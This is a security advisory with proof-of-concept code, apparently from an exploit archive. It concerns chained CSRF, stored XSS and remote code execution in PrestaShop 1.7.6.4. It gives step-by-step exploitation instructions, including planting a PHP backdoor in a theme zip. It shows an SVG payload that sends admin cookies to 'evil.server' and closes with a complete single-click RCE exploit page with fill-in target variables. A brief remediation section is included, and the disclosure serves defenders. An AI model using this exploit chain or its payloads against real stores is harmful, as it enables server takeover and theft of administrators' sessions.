Prestashop 1.7.6.4 XSS / CSRF / Remote Code Execution

2020.04.19
Risk: High
Local: No
Remote: Yes
CVE: N/A

########################################################################## # Prestashop <= 1.7.6.4 Multiple Vulnerabilities # ########################################################################## Author - Sivanesh Ashok | @sivaneshashok <https://twitter.com/sivaneshashok> | stazot.com Last Modified: 2020-04-11 Vendor : https://www.prestashop.com/ Version : <= 1.7.6.4 Tested on : 1.7.6.4 --[ Table of Contents 00 - Introduction 01 - Exploit 02 - Cross-Site Request Forgery (CSRF) 02.1 - Exploitation 03 - Stored Cross-Site Scripting 03.1 - Exploitation 04 - Escalation to RCE 04.1 - Exploitation 05 - Solution 06 - Contact --[ 00 - Introduction Prestashop is an open source e-commerce solution written in PHP. This article is about the CSRF and XSS vulnerabilities I discovered and how it was chained and escalated to single-click RCE, as an unauthenticated attacker. --[ 01 - Exploit I wrote an exploit that chains the vulnerabilities described below to achieve single-click RCE, as an unauthenticated attacker. It can be found in the link below. https://github.com/staz0t/exploits/blob/master/SA20200411_prestashop_csrf_to_rce.html You would need a Prestashop theme zip file to achieve RCE. A simple theme can be downloaded from here - https://github.com/PrestaShop/classic-rocket Download the theme and add a PHP backdoor in the theme zip file. Host it in a webserver. Now edit the JS variables in the exploit and host it on a webpage, send the link to the admin. Once the admin visits the webpage, the PHP file will be uploaded and can be visited in the link below http://target.server/themes/{theme-name}/{php-file-name}.php --[ 02 - Cross-Site Request Forgery (CSRF) An unauthenticated attacker can exploit this vulnerability to trick an authenticated user with 'Products Edit' permission to upload files to the 'File Manager'. This application does not check for a CSRF token in the File Manager's upload endpoint, {adminurl}/filemanager/upload.php, which causes this issue. --[ 02.1 - Exploitation To exploit this vulnerability, an attacker should craft a CSRF webpage, and trick an authenticated user with 'Products Edit' permission to visit the webpage. 1. Create a webpage that automatically submits a POST upload request to the file manager. For example, ----[ code segment ]---- <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/prestashop.localhost-windows.com\/admin501to49xz\/filemanager\/upload.php", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777"); xhr.withCredentials = true; var body = "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"csrfpoc.svg\"\r\n" + "Content-Type: image/svg+xml\r\n" + "\r\n" + "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" /\x3e\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> </body> </html> ----[ code segment ]---- 2. Send the link of the webpage to the victim. The above code segment uploads csrfpoc.svg when the victim user visits the webpage that hosts this code. --[ 03 - Stored Cross-Site Scripting An attacker can exploit this vulnerability to execute javascript code in the context of the victim. The vulnerability is in the 'File Manager'. Backed users with 'Products Edit' permission can upload files, with whitelisted extension. By default, the following extensions are allowed to be uploaded in the File Manager. jpg, jpeg, png, gif, bmp, tiff, svg, pdf, mov, mpeg, mp4, avi, mpg, wma, flv, webm As mentioned, SVG files are allowed and SVG files can contain javascript code in them. This allows a backend user with 'Products Edit' permission to run arbitrary javascript code in the context of a victim. --[ 03.1 - Exploitation An unauthenticated attacker can chain the previously explained CSRF with this vulnerability to trick an authenticated user with 'Products Edit' permission to upload an SVG file with malicious javascript code. 1. Create an SVG file with javascript payload in it. For example, <svg xmlns="http://www.w3.org/2000/svg" onload="document.location=' http://evil.server/?c='+document.cookie;" /> This payload sends the victim's cookies to attacker's server 2. Create a webpage that automatically submits a POST upload request, with the contents of the malicious SVG file. 3. Host the webpage and send the link to the victim with 'Products Edit' permission. 4. When the victim opens the URL, the SVG file with the javascript payload gets uploaded to http://target.server/img/cms/evil.svg 5. Send the SVG link to the target victim. When the victim opens the link, the cookies of the victim gets sent to the attacker. --[ 04 - Escalation to Remote Code Execution By targeting the admin, an attacker can gain RCE in the server. This is achieved by using the 'Import Theme' functionality. --[ 04.1 - Exploitation Theme import functionality can fetch a ZIP file and unpack it to themes/ directory, provided that the ZIP has all the necessary theme files. The ZIP file could contain a PHP file, and the server will still unzip it to themes/{theme-name} directory. An attacker can exploit this feature to upload a theme with a malicious PHP file to achieve RCE, by using the previously explained CSRF and XSS bug chain. 1. Create an SVG file with javascript payload that does the following. 1.1. Opens the 'Import Theme' page and fetches the CSRF token 1.2. Send a POST request to the theme upload endpoint with the link to the malicious ZIP file 2. Create a webpage that exploits the CSRF to automatically submit a POST upload request to the file manager's upload endpoint to upload the malicious SVG file. 3. Send the webpage's link to an authenticated user with 'Products Edit' permission (or the admin). This uploads the SVG file to the server. http://target.server/img/cms/exploit.svg 4. Now send the uploaded SVG file's link to the admin. When the admin opens the link, the theme with the PHP file gets imported. It can be opened with the following link. http://target.server/themes/{theme-name}/backdoor.php Putting all this together, an unauthenticated attacker can achieve single-click RCE by targeting the admin (SuperUser) of the server. --[ 05 - Solution 1. Implement CSRF protection in {adminurl}/filemanager/upload.php endpoint. 2. Disallow SVG upload in File Manager or validate the SVG file's contents before uploading. 3. Consider implementing a validation process to check for PHP files before importing the theme ZIP file. --[ 06 - Contact Name : Sivanesh Ashok Twitter: @sivaneshashok <https://twitter.com/sivaneshashok> Website: https://stazot.com _______________________________________________ Proof of concept exploit from https://github.com/staz0t/exploits/blob/master/SA20200411_prestashop_csrf_to_rce.html <html> <!-- Prestashop <= 1.7.6.4 Single-Click RCE Exploit Written by Sivanesh Ashok | @sivaneshashok | stazot.com For more details, visit https://stazot.com Change the values of the 3 variables marked as "change this" --> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <script> var target = "http://localhost"; //change this var admin_url = "/admin123ab45cd"; //change this var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", target+admin_url+"/filemanager/upload.php", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777"); xhr.withCredentials = true; var body = "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" + "Content-Type: image/svg+xml\r\n" + "\r\n" + "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" + "\r\n" + "\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" + "\t\r\n" + "\t\x3cscript\x3e\r\n" + "\t\r\n" + "\t$.ajaxSetup({async: false});\r\n" + "\r\n" + "\tvar target = \'" + target + "\';\r\n" + "\tvar admin_url = \'" + admin_url + "\';\r\n" + "\tvar theme_url = \'" + theme_url + "\';\r\n" + "\tvar import_url = \'\';\r\n" + "\tvar import_token = \'\';\r\n" + "\t\r\n" + "\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" + "\t\r\n" + "\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" + "\t\ttmp = tmp.toString().split(\"=\");\r\n" + "\t\ttmp = tmp[1];\r\n" + "\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" + "\r\n" + "\t}, \'html\');\r\n" + "\r\n" + "\t$.get(import_url, function( my_var1 ) {\r\n" + "\r\n" + "\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" + "\t\ttmp = tmp.toString().split(\' \');\r\n" + "\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" + "\t\timport_token = tmp[1];\r\n" + "\r\n" + "\t}, \'html\');\r\n" + "\r\n" + "\tvar themeUploadData = new FormData();\r\n" + "\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" + "\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" + "\r\n" + "\t$.ajax({\r\n" + "\t\turl: import_url,\r\n" + "\t\tdata: themeUploadData,\r\n" + "\t\tcache: false,\r\n" + "\t\tcontentType: false,\r\n" + "\t\tprocessData: false,\r\n" + "\t\tmethod: \'POST\'\r\n" + "\t});\r\n" + "\r\n" + "\t\x3c/script\x3e\r\n" + "\r\n" + "\x3c/svg\x3e\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); window.setTimeout(function(){ window.location.href=target+"/img/cms/exploit.svg"; }, 1000); </script> </body> </html>


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top